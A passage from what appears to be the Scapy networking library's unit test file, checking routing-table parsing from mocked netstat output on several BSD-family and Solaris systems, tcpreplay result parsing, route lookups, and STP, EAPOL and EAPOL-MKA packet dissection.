127.0.0.1 URS 0 23 32768 8 lo0 10.0.1/24 10.0.1.26 UCn 4 192 - 4 bge0 10.0.1.1 00:30:48:57:ed:0b UHLc 2 338 - 3 bge0 10.0.1.2 00:03:ba:0c:0b:52 UHLc 1 186 - 3 bge0 10.0.1.26 00:30:48:62:b3:f4 UHLl 0 47877 - 1 bge0 10.0.1.135 link#1 UHLch 1 194 - 3 bge0 10.0.1.254 link#1 UHLch 1 190 - 3 bge0 10.0.1.255 10.0.1.26 UHb 0 0 - 1 bge0 10.188.6/24 10.188.6.17 Cn 0 0 - 4 tap3 10.188.6.17 fe:e1:ba:d7:ff:32 UHLl 0 25 - 1 tap3 10.188.6.255 10.188.6.17 Hb 0 0 - 1 tap3 10.188.135/24 10.0.1.135 UGS 0 0 1350 L 8 bge0 127/8 127.0.0.1 UGRS 0 0 32768 8 lo0 127.0.0.1 127.0.0.1 UHhl 1 3835230 32768 1 lo0 """ # Mocked file descriptor strio = StringIO(netstat_output) mock_os.popen = mock.MagicMock(return_value=strio) # Mocked OpenBSD parsing behavior mock_openbsd = True # Test the function from scapy.arch.unix import read_routes return read_routes() routes = test_openbsd_6_3() for r in routes: print(ltoa(r[0]), ltoa(r[1]), r) # check that default route exists in parsed data structure if ltoa(r[0]) == "0.0.0.0": default = r # check that route with locked mtu exists in parsed data structure if ltoa(r[0]) == "10.188.135.0": locked = r assert len(routes) == 11 assert default[2] == "10.0.1.254" assert default[3] == "bge0" assert locked[2] == "10.0.1.135" assert locked[3] == "bge0" = Solaris 11.1 ~ mock_read_routes_bsd import mock from io import StringIO # Mocked Solaris 11.1 parsing behavior @mock.patch("scapy.arch.unix.SOLARIS", True) @mock.patch("scapy.arch.unix.os") def test_solaris_111(mock_os): """Test read_routes() on Solaris 11.1""" # 'netstat -rvn -f inet' output netstat_output = u""" IRE Table: IPv4 Destination Mask Gateway Device MTU Ref Flg Out In/Fwd -------------------- --------------- -------------------- ------ ----- --- --- ----- ------ default 0.0.0.0 10.0.2.2 net0 1500 2 UG 5 0 10.0.2.0 255.255.255.0 10.0.2.15 net0 1500 3 U 0 0 127.0.0.1 255.255.255.255 127.0.0.1 lo0 8232 2 UH 1517 1517 """ # Mocked file descriptor strio = StringIO(netstat_output) mock_os.popen = mock.MagicMock(return_value=strio) print(scapy.arch.unix.SOLARIS) # Test the function from scapy.arch.unix import read_routes return read_routes() routes = test_solaris_111() print(routes) assert len(routes) == 3 assert routes[0][:4] == (0, 0, '10.0.2.2', 'net0') assert routes[1][:4] == (167772672, 4294967040, '0.0.0.0', 'net0') assert routes[2][:4] == (2130706433, 4294967295, '0.0.0.0', 'lo0') ############ ############ + Mocked _parse_tcpreplay_result(stdout, stderr, argv, results_dict) ~ mock_parse_tcpreplay_result = Test mocked _parse_tcpreplay_result from scapy.sendrecv import _parse_tcpreplay_result stdout = """Actual: 1024 packets (198929 bytes) sent in 67.88 seconds. Rated: 2930.6 bps, 0.02 Mbps, 15.09 pps Statistics for network device: mon0 Attempted packets: 1024 Successful packets: 1024 Failed packets: 0 Retried packets (ENOBUFS): 0 Retried packets (EAGAIN): 0""" stderr = """Warning in sendpacket.c:sendpacket_open_pf() line 669: Unsupported physical layer type 0x0323 on mon0. Maybe it works, maybe it won't. See tickets #123/318 sending out mon0 processing file: replay-example.pcap""" argv = ['tcpreplay', '--intf1=mon0', '--multiplier=1.00', '--timer=nano', 'replay-example.pcap'] results_dict = _parse_tcpreplay_result(stdout, stderr, argv) results_dict assert(results_dict["packets"] == 1024) assert(results_dict["bytes"] == 198929) assert(results_dict["time"] == 67.88) assert(results_dict["bps"] == 2930.6) assert(results_dict["mbps"] == 0.02) assert(results_dict["pps"] == 15.09) assert(results_dict["attempted"] == 1024) assert(results_dict["successful"] == 1024) assert(results_dict["failed"] == 0) assert(results_dict["retried_enobufs"] == 0) assert(results_dict["retried_eagain"] == 0) assert(results_dict["command"] == " ".join(argv)) assert(len(results_dict["warnings"]) == 3) = Test more recent version with flows data = """Actual: 1 packets (42 bytes) sent in 0.000278 seconds Rated: 151079.1 Bps, 1.20 Mbps, 3597.12 pps Flows: 1 flows, 3597.12 fps, 1 flow packets, 0 non-flow Statistics for network device: enp0s3 Successful packets: 1 Failed packets: 0 Truncated packets: 0 Retried packets (ENOBUFS): 0 Retried packets (EAGAIN): 0 """ results_dict = _parse_tcpreplay_result(data, "", []) results_dict expected = { 'bps': 151079.1, 'bytes': 42, 'command': '', 'failed': 0, 'flow_packets': 1, 'flows': 1, 'fps': 3597.12, 'mbps': 1.2, 'non_flow': 0, 'packets': 1, 'pps': 3597.12, 'retried_eagain': 0, 'retried_enobufs': 0, 'successful': 1, 'time': 0.000278, 'truncated': 0, 'warnings': [] } assert results_dict == expected ############ ############ + Mocked read_routes6() calls = Preliminary definitions ~ mock_read_routes_bsd import mock from io import StringIO def valid_output_read_routes6(routes): """"Return True if 'routes' contains correctly formatted entries, False otherwise""" for destination, plen, next_hop, dev, cset, me in routes: if not in6_isvalid(destination) or not type(plen) == int: return False if not in6_isvalid(next_hop) or not isinstance(dev, six.string_types): return False for address in cset: if not in6_isvalid(address): return False return True def check_mandatory_ipv6_routes(routes6): """Ensure that mandatory IPv6 routes are present""" if sum(1 for r in routes6 if r[0] == "::1" and r[4] == ["::1"]) < 1: return False if sum(1 for r in routes6 if r[0] == "fe80::" and r[1] == 64) < 1: return False if sum(1 for r in routes6 if in6_islladdr(r[0]) and r[1] == 128 and \ r[4] == ["::1"]) < 1: return False return True = Mac OS X 10.9.5 ~ mock_read_routes_bsd import mock from io import StringIO @mock.patch("scapy.arch.unix.in6_getifaddr") @mock.patch("scapy.arch.unix.os") def test_osx_10_9_5(mock_os, mock_in6_getifaddr): """Test read_routes6() on OS X 10.9.5""" # 'netstat -rn -f inet6' output netstat_output = u""" Routing tables Internet6: Destination Gateway Flags Netif Expire ::1 ::1 UHL lo0 fe80::%lo0/64 fe80::1%lo0 UcI lo0 fe80::1%lo0 link#1 UHLI lo0 fe80::%en0/64 link#4 UCI en0 fe80::ba26:6cff:fe5f:4eee%en0 b8:26:6c:5f:4e:ee UHLWIi en0 fe80::bae8:56ff:fe45:8ce6%en0 b8:e8:56:45:8c:e6 UHLI lo0 ff01::%lo0/32 ::1 UmCI lo0 ff01::%en0/32 link#4 UmCI en0 ff02::%lo0/32 ::1 UmCI lo0 ff02::%en0/32 link#4 UmCI en0 """ # Mocked file descriptor strio = StringIO(netstat_output) mock_os.popen = mock.MagicMock(return_value=strio) # Mocked in6_getifaddr() output mock_in6_getifaddr.return_value = [("::1", IPV6_ADDR_LOOPBACK, "lo0"), ("fe80::ba26:6cff:fe5f:4eee", IPV6_ADDR_LINKLOCAL, "en0")] # Test the function from scapy.arch.unix import read_routes6 scapy.arch.unix.DARWIN = False scapy.arch.unix.FREEBSD = True scapy.arch.unix.NETBSD = False scapy.arch.unix.OPENBSD = False routes = read_routes6() for r in routes: print(r) assert(len(routes) == 6) assert(check_mandatory_ipv6_routes(routes)) test_osx_10_9_5() = Mac OS X 10.9.5 with global IPv6 connectivity ~ mock_read_routes_bsd import mock from io import StringIO @mock.patch("scapy.arch.unix.in6_getifaddr") @mock.patch("scapy.arch.unix.os") def test_osx_10_9_5_global(mock_os, mock_in6_getifaddr): """Test read_routes6() on OS X 10.9.5 with an IPv6 connectivity""" # 'netstat -rn -f inet6' output netstat_output = u""" Routing tables Internet6: Destination Gateway Flags Netif Expire default fe80::ba26:8aff:fe5f:4eef%en0 UGc en0 ::1 ::1 UHL lo0 2a01:ab09:7d:1f01::/64 link#4 UC en0 2a01:ab09:7d:1f01:420:205c:9fab:5be7 b8:e9:55:44:7c:e5 UHL lo0 2a01:ab09:7d:1f01:ba26:8aff:fe5f:4eef b8:26:8a:5f:4e:ef UHLWI en0 2a01:ab09:7d:1f01:bae9:55ff:fe44:7ce5 b8:e9:55:44:7c:e5 UHL lo0 fe80::%lo0/64 fe80::1%lo0 UcI lo0 fe80::1%lo0 link#1 UHLI lo0 fe80::%en0/64 link#4 UCI en0 fe80::5664:d9ff:fe79:4e00%en0 54:64:d9:79:4e:0 UHLWI en0 fe80::6ead:f8ff:fe74:945a%en0 6c:ad:f8:74:94:5a UHLWI en0 fe80::a2f3:c1ff:fec4:5b50%en0 a0:f3:c1:c4:5b:50 UHLWI en0 fe80::ba26:8aff:fe5f:4eef%en0 b8:26:8a:5f:4e:ef UHLWIir en0 fe80::bae9:55ff:fe44:7ce5%en0 b8:e9:55:44:7c:e5 UHLI lo0 ff01::%lo0/32 ::1 UmCI lo0 ff01::%en0/32 link#4 UmCI en0 ff02::%lo0/32 ::1 UmCI lo """ # Mocked file descriptor strio = StringIO(netstat_output) mock_os.popen = mock.MagicMock(return_value=strio) # Mocked in6_getifaddr() output mock_in6_getifaddr.return_value = [("::1", IPV6_ADDR_LOOPBACK, "lo0"), ("fe80::ba26:6cff:fe5f:4eee", IPV6_ADDR_LINKLOCAL, "en0")] # Test the function from scapy.arch.unix import read_routes6 routes = read_routes6() print(routes) assert(valid_output_read_routes6(routes)) for r in routes: print(r) assert(len(routes) == 11) assert(check_mandatory_ipv6_routes(routes)) test_osx_10_9_5_global() = Mac OS X 10.10.4 ~ mock_read_routes_bsd import mock from io import StringIO @mock.patch("scapy.arch.unix.in6_getifaddr") @mock.patch("scapy.arch.unix.os") def test_osx_10_10_4(mock_os, mock_in6_getifaddr): """Test read_routes6() on OS X 10.10.4""" # 'netstat -rn -f inet6' output netstat_output = u""" Routing tables Internet6: Destination Gateway Flags Netif Expire ::1 ::1 UHL lo0 fe80::%lo0/64 fe80::1%lo0 UcI lo0 fe80::1%lo0 link#1 UHLI lo0 fe80::%en0/64 link#4 UCI en0 fe80::a00:27ff:fe9b:c965%en0 8:0:27:9b:c9:65 UHLI lo0 ff01::%lo0/32 ::1 UmCI lo0 ff01::%en0/32 link#4 UmCI en0 ff02::%lo0/32 ::1 UmCI lo0 ff02::%en0/32 link#4 UmCI en0 """ # Mocked file descriptor strio = StringIO(netstat_output) mock_os.popen = mock.MagicMock(return_value=strio) # Mocked in6_getifaddr() output mock_in6_getifaddr.return_value = [("::1", IPV6_ADDR_LOOPBACK, "lo0"), ("fe80::a00:27ff:fe9b:c965", IPV6_ADDR_LINKLOCAL, "en0")] # Test the function from scapy.arch.unix import read_routes6 routes = read_routes6() for r in routes: print(r) assert(len(routes) == 5) assert(check_mandatory_ipv6_routes(routes)) test_osx_10_10_4() = FreeBSD 10.2 ~ mock_read_routes_bsd import mock from io import StringIO @mock.patch("scapy.arch.unix.in6_getifaddr") @mock.patch("scapy.arch.unix.os") def test_freebsd_10_2(mock_os, mock_in6_getifaddr): """Test read_routes6() on FreeBSD 10.2""" # 'netstat -rn -f inet6' output netstat_output = u""" Routing tables Internet6: Destination Gateway Flags Netif Expire ::/96 ::1 UGRS lo0 ::1 link#2 UH lo0 ::ffff:0.0.0.0/96 ::1 UGRS lo0 fe80::/10 ::1 UGRS lo0 fe80::%lo0/64 link#2 U lo0 fe80::1%lo0 link#2 UHS lo0 ff01::%lo0/32 ::1 U lo0 ff02::/16 ::1 UGRS lo0 ff02::%lo0/32 ::1 U lo0 """ # Mocked file descriptor strio = StringIO(netstat_output) mock_os.popen = mock.MagicMock(return_value=strio) # Mocked in6_getifaddr() output mock_in6_getifaddr.return_value = [("::1", IPV6_ADDR_LOOPBACK, "lo0")] # Test the function from scapy.arch.unix import read_routes6 routes = read_routes6() scapy.arch.unix.DARWIN = False scapy.arch.unix.FREEBSD = True scapy.arch.unix.NETBSD = False scapy.arch.unix.OPENBSD = False for r in routes: print(r) assert(len(routes) == 3) assert(check_mandatory_ipv6_routes(routes)) test_freebsd_10_2() = FreeBSD 13.0 ~ mock_read_routes_bsd import mock from io import StringIO @mock.patch("scapy.arch.unix.os") def test_freebsd_13(mock_os): """Test read_routes() on FreeBSD 13""" # 'netstat -rnW -f inet' output netstat_output = u""" Routing tables Internet: Destination Gateway Flags Nhop# Mtu Netif Expire default 10.0.0.1 UGS 3 1500 vtnet0 10.0.0.0/24 link#1 U 2 1500 vtnet0 10.0.0.8 link#2 UHS 1 16384 lo0 127.0.0.1 link#2 UH 1 16384 lo0 """ # Mocked file descriptor strio = StringIO(netstat_output) mock_os.popen = mock.MagicMock(return_value=strio) # Test the function from scapy.arch.unix import read_routes routes = read_routes() scapy.arch.unix.DARWIN = False scapy.arch.unix.FREEBSD = True scapy.arch.unix.NETBSD = False scapy.arch.unix.OPENBSD = False for r in routes: print(r) assert(r[3] in ["vtnet0", "lo0"]) assert(len(routes) == 4) test_freebsd_13() = OpenBSD 5.5 ~ mock_read_routes_bsd import mock from io import StringIO @mock.patch("scapy.arch.unix.OPENBSD") @mock.patch("scapy.arch.unix.in6_getifaddr") @mock.patch("scapy.arch.unix.os") def test_openbsd_5_5(mock_os, mock_in6_getifaddr, mock_openbsd): """Test read_routes6() on OpenBSD 5.5""" # 'netstat -rn -f inet6' output netstat_output = u""" Routing tables Internet6: Destination Gateway Flags Refs Use Mtu Prio Iface ::/104 ::1 UGRS 0 0 - 8 lo0 ::/96 ::1 UGRS 0 0 - 8 lo0 ::1 ::1 UH 14 0 33144 4 lo0 ::127.0.0.0/104 ::1 UGRS 0 0 - 8 lo0 ::224.0.0.0/100 ::1 UGRS 0 0 - 8 lo0 ::255.0.0.0/104 ::1 UGRS 0 0 - 8 lo0 ::ffff:0.0.0.0/96 ::1 UGRS 0 0 - 8 lo0 2002::/24 ::1 UGRS 0 0 - 8 lo0 2002:7f00::/24 ::1 UGRS 0 0 - 8 lo0 2002:e000::/20 ::1 UGRS 0 0 - 8 lo0 2002:ff00::/24 ::1 UGRS 0 0 - 8 lo0 fe80::/10 ::1 UGRS 0 0 - 8 lo0 fe80::%em0/64 link#1 UC 0 0 - 4 em0 fe80::a00:27ff:fe04:59bf%em0 08:00:27:04:59:bf UHL 0 0 - 4 lo0 fe80::%lo0/64 fe80::1%lo0 U 0 0 - 4 lo0 fe80::1%lo0 link#3 UHL 0 0 - 4 lo0 fec0::/10 ::1 UGRS 0 0 - 8 lo0 ff01::/16 ::1 UGRS 0 0 - 8 lo0 ff01::%em0/32 link#1 UC 0 0 - 4 em0 ff01::%lo0/32 fe80::1%lo0 UC 0 0 - 4 lo0 ff02::/16 ::1 UGRS 0 0 - 8 lo0 ff02::%em0/32 link#1 UC 0 0 - 4 em0 ff02::%lo0/32 fe80::1%lo0 UC 0 0 - 4 lo0 """ # Mocked file descriptor strio = StringIO(netstat_output) mock_os.popen = mock.MagicMock(return_value=strio) # Mocked in6_getifaddr() output mock_in6_getifaddr.return_value = [("::1", IPV6_ADDR_LOOPBACK, "lo0"), ("fe80::a00:27ff:fe04:59bf", IPV6_ADDR_LINKLOCAL, "em0")] # Mocked OpenBSD parsing behavior mock_openbsd = True # Test the function from scapy.arch.unix import read_routes6 routes = read_routes6() for r in routes: print(r) assert(len(routes) == 5) assert(check_mandatory_ipv6_routes(routes)) test_openbsd_5_5() = NetBSD 7.0 ~ mock_read_routes_bsd @mock.patch("scapy.arch.unix.NETBSD") @mock.patch("scapy.arch.unix.in6_getifaddr") @mock.patch("scapy.arch.unix.os") def test_netbsd_7_0(mock_os, mock_in6_getifaddr, mock_netbsd): """Test read_routes6() on NetBSD 7.0""" # 'netstat -rn -f inet6' output netstat_output = u""" Routing tables Internet6: Destination Gateway Flags Refs Use Mtu Interface ::/104 ::1 UGRS - - - lo0 ::/96 ::1 UGRS - - - lo0 ::1 ::1 UH - - 33648 lo0 ::127.0.0.0/104 ::1 UGRS - - - lo0 ::224.0.0.0/100 ::1 UGRS - - - lo0 ::255.0.0.0/104 ::1 UGRS - - - lo0 ::ffff:0.0.0.0/96 ::1 UGRS - - - lo0 2001:db8::/32 ::1 UGRS - - - lo0 2002::/24 ::1 UGRS - - - lo0 2002:7f00::/24 ::1 UGRS - - - lo0 2002:e000::/20 ::1 UGRS - - - lo0 2002:ff00::/24 ::1 UGRS - - - lo0 fe80::/10 ::1 UGRS - - - lo0 fe80::%wm0/64 link#1 UC - - - wm0 fe80::acd1:3989:180e:fde0 08:00:27:a1:64:d8 UHL - - - lo0 fe80::%lo0/64 fe80::1 U - - - lo0 fe80::1 link#2 UHL - - - lo0 ff01:1::/32 link#1 UC - - - wm0 ff01:2::/32 ::1 UC - - - lo0 ff02::%wm0/32 link#1 UC - - - wm0 ff02::%lo0/32 ::1 UC - - - lo0 """ # Mocked file descriptor strio = StringIO(netstat_output) mock_os.popen = mock.MagicMock(return_value=strio) # Mocked in6_getifaddr() output mock_in6_getifaddr.return_value = [("::1", IPV6_ADDR_LOOPBACK, "lo0"), ("fe80::acd1:3989:180e:fde0", IPV6_ADDR_LINKLOCAL, "wm0")] # Test the function from scapy.arch.unix import read_routes6 routes = read_routes6() for r in routes: print(r) assert(len(routes) == 5) assert(check_mandatory_ipv6_routes(routes)) test_netbsd_7_0() ############ ############ + Mocked route() calls = Mocked IPv4 routes calls import scapy old_routes = conf.route.routes old_iface = conf.iface old_loopback = conf.loopback_name try: conf.iface = 'enp3s0' conf.loopback_name = 'lo' conf.route.invalidate_cache() conf.route.routes = [ (4294967295, 4294967295, '0.0.0.0', 'wlan0', '', 281), (4294967295, 4294967295, '0.0.0.0', 'lo', '', 291), (4294967295, 4294967295, '0.0.0.0', 'enp3s0', '192.168.0.119', 281), (3758096384, 4026531840, '0.0.0.0', 'lo', '', 291), (3758096384, 4026531840, '0.0.0.0', 'wlan0', '', 281), (3758096384, 4026531840, '0.0.0.0', 'enp3s0', '1.1.1.1', 281), (3232235775, 4294967295, '0.0.0.0', 'enp3s0', '2.2.2.2', 281), (3232235639, 4294967295, '0.0.0.0', 'enp3s0', '3.3.3.3', 281), (3232235520, 4294967040, '0.0.0.0', 'enp3s0', '4.4.4.4', 281), (0, 0, '192.168.0.254', 'enp3s0', '192.168.0.119', 25) ] assert conf.route.route("192.168.0.0-10") == ('enp3s0', '4.4.4.4', '0.0.0.0') assert conf.route.route("192.168.0.119") == ('lo', '192.168.0.119', '0.0.0.0') assert conf.route.route("224.0.0.0") == ('enp3s0', '1.1.1.1', '0.0.0.0') assert conf.route.route("255.255.255.255") == ('enp3s0', '192.168.0.119', '0.0.0.0') assert conf.route.route("*") == ('enp3s0', '192.168.0.119', '192.168.0.254') finally: conf.loopback_name = old_loopback conf.iface = old_iface conf.route.routes = old_routes conf.route.invalidate_cache() = Mocked IPv6 routes calls old_iface = conf.iface old_loopback = conf.loopback_name try: conf.route6.ipv6_ifaces = set(['enp3s0', 'wlan0', 'lo']) conf.iface = 'enp3s0' conf.loopback_name = 'lo' conf.route6.invalidate_cache() conf.route6.routes = [ ('fe80::dd17:1fa6:a123:ab4', 128, '::', 'lo', ['fe80::dd17:1fa6:a123:ab4'], 291), ('fe80::7101:5678:1234:da65', 128, '::', 'enp3s0', ['fe80::7101:5678:1234:da65'], 281), ('fe80::1f:ae12:4d2c:abff', 128, '::', 'wlan0', ['fe80::1f:ae12:4d2c:abff'], 281), ('fe80::', 64, '::', 'wlan0', ['fe80::1f:ae12:4d2c:abff'], 281), ('fe80::', 64, '::', 'lo', ['fe80::dd17:1fa6:a123:ab4'], 291), ('fe80::', 64, '::', 'enp3s0', ['fe80::7101:5678:1234:da65'], 281), ('2a01:e35:1e06:ab56:7010:6548:9646:fa77', 128, '::', 'enp3s0', ['2a01:e35:1e06:ab56:7010:6548:9646:fa77', '2a01:e35:1e06:ab56:512:8bb7:8ab8:14a8'], 281), ('2a01:e35:1e06:ab56:512:8bb7:8ab8:14a8', 128, '::', 'enp3s0', ['2a01:e35:1e06:ab56:7010:6548:9646:fa77', '2a01:e35:1e06:ab56:512:8bb7:8ab8:14a8'], 281), ('2a01:e35:1e06:ab56::', 64, '::', 'enp3s0', ['2a01:e35:1e06:ab56:7010:6548:9646:fa77', '2a01:e35:1e06:ab56:512:8bb7:8ab8:14a8'], 281), ('::', 0, 'fe80::160c:64aa:ef6f:fe14', 'enp3s0', ['2a01:e35:1e06:ab56:7010:6548:9646:fa77', '2a01:e35:1e06:ab56:512:8bb7:8ab8:14a8'], 281) ] assert conf.route6.route("2a01:e35:1e06:ab56:512:8bb7:8ab8:14a8") == ('enp3s0', '2a01:e35:1e06:ab56:7010:6548:9646:fa77', '::') assert conf.route6.route("::1") == ('enp3s0', '2a01:e35:1e06:ab56:7010:6548:9646:fa77', 'fe80::160c:64aa:ef6f:fe14') assert conf.route6.route("ff02::1") == ('enp3s0', 'fe80::7101:5678:1234:da65', '::') assert conf.route6.route("fe80::1") == ('enp3s0', 'fe80::7101:5678:1234:da65', '::') assert conf.route6.route("fe80::1", dev='lo') == ('lo', 'fe80::dd17:1fa6:a123:ab4', '::') finally: conf.loopback_name = old_loopback conf.iface = old_iface conf.route6.resync() = Find a link-local address when conf.iface does not support IPv6 old_iface = conf.iface conf.route6.ipv6_ifaces = set(['eth1', 'lo']) conf.iface = "eth0" conf.route6.routes = [("fe80::", 64, "::", "eth1", ["fe80::a00:28ff:fe07:1980"], 256), ("::1", 128, "::", "lo", ["::1"], 0), ("fe80::a00:28ff:fe07:1980", 128, "::", "lo", ["::1"], 0)] assert(conf.route6.route("fe80::2807") == ("eth1", "fe80::a00:28ff:fe07:1980", "::")) conf.iface = old_iface conf.route6.resync() = Windows: reset routes properly if WINDOWS: from scapy.arch.windows import _route_add_loopback _route_add_loopback() ############ ############ + STP tests = STP - Basic Instantiation assert raw(STP()) == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00\x02\x00\x0f\x00' = STP - Basic Dissection s = STP(b'\x00\x00\x00\x00\x00\x00\x00\x12\x13\x14\x15\x16\x17\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x01\x00\x14\x00\x05\x00\x0f\x00') assert s.rootmac == "12:13:14:15:16:17" assert s.bridgemac == "aa:aa:aa:aa:aa:aa" assert s.hellotime == 5 ############ ############ + EAPOL class tests = EAPOL - Basic Instantiation raw(EAPOL()) == b'\x01\x00\x00\x00' = EAPOL - Instantiation with specific values raw(EAPOL(version = 3, type = 5)) == b'\x03\x05\x00\x00' = EAPOL - Dissection (1) s = b'\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' eapol = EAPOL(s) assert(eapol.version == 3) assert(eapol.type == 1) assert(eapol.len == 0) = EAPOL - Dissection (2) s = b'\x03\x00\x00\x05\x01\x01\x00\x05\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' eapol = EAPOL(s) assert(eapol.version == 3) assert(eapol.type == 0) assert(eapol.len == 5) = EAPOL - Dissection (3) s = b'\x03\x00\x00\x0e\x02\x01\x00\x0e\x01anonymous\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' eapol = EAPOL(s) assert(eapol.version == 3) assert(eapol.type == 0) assert(eapol.len == 14) = EAPOL - Dissection (4) req = EAPOL(b'\x03\x00\x00\x05\x01\x01\x00\x05\x01') ans = EAPOL(b'\x03\x00\x00\x0e\x02\x01\x00\x0e\x01anonymous') ans.answers(req) = EAPOL - Dissection (5) s = b'\x02\x00\x00\x06\x01\x01\x00\x06\r ' eapol = EAPOL(s) assert(eapol.version == 2) assert(eapol.type == 0) assert(eapol.len == 6) assert(eapol.haslayer(EAP_TLS)) = EAPOL - Dissection (6) s = b'\x03\x00\x00<\x02\x9e\x00<+\x01\x16\x03\x01\x001\x01\x00\x00-\x03\x01dr1\x93ZS\x0en\xad\x1f\xbaH\xbb\xfe6\xe6\xd0\xcb\xec\xd7\xc0\xd7\xb9\xa5\xc9\x0c\xfd\x98o\xa7T \x00\x00\x04\x004\x00\x00\x01\x00\x00\x00' eapol = EAPOL(s) assert(eapol.version == 3) assert(eapol.type == 0) assert(eapol.len == 60) assert(eapol.haslayer(EAP_FAST)) ############ ############ + EAPOL-MKA class tests = EAPOL-MKA - With Basic parameter set - Dissection eapol = None s = b'\x03\x05\x00T\x01\xff\xf0<\x00Bh\xa8\x1e\x03\x00\n\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7\x00\x00\x00\x01\x00\x80\xc2\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xff\x00\x00\x10\xe5\xf5j\x86V\\\xb1\xcc\xa9\xb95\x04m*Cj' eapol = EAPOL(s) assert(eapol.version == 3) assert(eapol.type == 5) assert(eapol.len == 84) assert(eapol.haslayer(MKAPDU)) assert(eapol[MKAPDU].basic_param_set.actor_member_id == b"\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7") assert(eapol[MKAPDU].haslayer(MKAICVSet)) assert(eapol[MKAPDU][MKAICVSet].icv == b"\xe5\xf5j\x86V\\\xb1\xcc\xa9\xb95\x04m*Cj") = EAPOL-MKA - With Potential Peer List parameter set - Dissection eapol = None s = b'\x03\x05\x00h\x01\x10\xe0<\xccN$\xc4\xf7\x7f\x00\x80q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00}\x00\x80\xc2\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x02\x00\x00\x10\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7\x00\x00\x00\x01\xff\x00\x00\x105\x01\xdc)\xfd\xd1\xff\xd55\x9c_o\xc9\x9c\xca\xc0' eapol = EAPOL(s) assert(eapol.version == 3) assert(eapol.type == 5) assert(eapol.len == 104) assert(eapol.haslayer(MKAPDU)) assert(eapol[MKAPDU].basic_param_set.actor_member_id == b"q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6") assert(eapol.haslayer(MKAPotentialPeerListParamSet)) assert(eapol[MKAPDU][MKAPotentialPeerListParamSet].member_id_message_num[0].member_id == b"\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7") assert(eapol[MKAPDU].haslayer(MKAICVSet)) assert(eapol[MKAPDU][MKAICVSet].icv == b"5\x01\xdc)\xfd\xd1\xff\xd55\x9c_o\xc9\x9c\xca\xc0") = EAPOL-MKA - With Live Peer List parameter set - Dissection eapol = None s = b"\x03\x05\x00h\x01\xffp<\x00Bh\xa8\x1e\x03\x00\n\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7\x00\x00\x00\x02\x00\x80\xc2\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x01\x00\x00\x10q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00\x80\xff\x00\x00\x10\xf4\xa1d\x18\tD\xa2}\x8e'\x0c/\xda,\xea\xb7" eapol = EAPOL(s) assert(eapol.version == 3) assert(eapol.type == 5) assert(eapol.len == 104) assert(eapol.haslayer(MKAPDU)) assert(eapol[MKAPDU].basic_param_set.actor_member_id == b'\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7') assert(eapol.haslayer(MKALivePeerListParamSet)) assert(eapol[MKAPDU][MKALivePeerListParamSet].member_id_message_num[0].member_id == b"q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6") assert(eapol[MKAPDU].haslayer(MKAICVSet)) assert(eapol[MKAPDU][MKAICVSet].icv == b"\xf4\xa1d\x18\tD\xa2}\x8e'\x0c/\xda,\xea\xb7") = EAPOL-MKA - With SAK Use parameter set - Dissection eapol = None s = b'\x03\x05\x00\x94\x01\xffp<\x00Bh\xa8\x1e\x03\x00\n\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7\x00\x00\x00\x03\x00\x80\xc2\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x03\x10\x00(q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00\x01\x00\x00\x00\x00q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00\x01\x00\x00\x00\x00\x01\x00\x00\x10q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00\x83\xff\x00\x00\x10OF\x84\xf1@%\x95\xe6Fw9\x1a\xfa\x03(\xae' eapol = EAPOL(s) assert(eapol.version == 3) assert(eapol.type == 5) assert(eapol.len == 148) assert(eapol.haslayer(MKAPDU)) assert(eapol[MKAPDU].basic_param_set.actor_member_id == b'\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7') assert(eapol.haslayer(MKASAKUseParamSet)) assert(eapol[MKAPDU][MKASAKUseParamSet].latest_key_key_server_member_id == b"q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6") assert(eapol.haslayer(MKALivePeerListParamSet)) assert(eapol[MKAPDU][MKALivePeerListParamSet].member_id_message_num[0].member_id == b"q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6") assert(eapol[MKAPDU].haslayer(MKAICVSet)) assert(eapol[MKAPDU][MKAICVSet].icv == 